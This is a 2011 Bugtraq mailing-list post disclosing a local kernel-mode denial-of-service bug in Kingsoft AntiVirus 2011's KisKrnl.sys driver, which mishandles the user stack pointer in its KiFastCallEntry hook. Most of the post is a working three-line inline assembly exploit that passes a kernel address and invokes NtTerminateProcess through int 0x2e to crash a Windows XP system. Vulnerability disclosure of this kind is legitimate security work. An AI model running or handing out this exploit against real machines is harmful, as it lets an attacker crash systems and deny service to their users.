bugtraq - Kingsoft AntiVirus 2011 SP5.2 KisKrnl.sys <= 2011.1.13.89 Local Kernel Mode D.O.S Exploit(3 lines of code)

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Message-Id: <201101160359.p0G3xq8X008149@www5.securityfocus.com>
Date: Sat, 15 Jan 2011 20:59:52 -0700
From: th_decoder@....com
To: bugtraq@...urityfocus.com
Subject: Kingsoft AntiVirus 2011 SP5.2 KisKrnl.sys <= 2011.1.13.89 Local
 Kernel Mode D.O.S Exploit(3 lines of code)

# Kingsoft AntiVirus 2011 SP5.2 KisKrnl.sys <= 2011.1.13.89 Local Kernel Mode D.O.S Exploit
# Date: 2011-1-16
# Author: MJ0011
# Version: KingSoft AntiVirus 2011 SP5.2 with KisKrnl.sys <=2011.1.13.89
# Tested on: Windows XP SP3


DETAILS:
KisKrnl.sys hook the kernel function KiFastCallEntry , but is not correctly handle user stack pointer

EXPLOIT CODE:

__asm
{
	mov edx , 0x80000000
	mov eax , 0x101        ;id of NtTerminateProcess under Windows XP 
	int 0x2e
}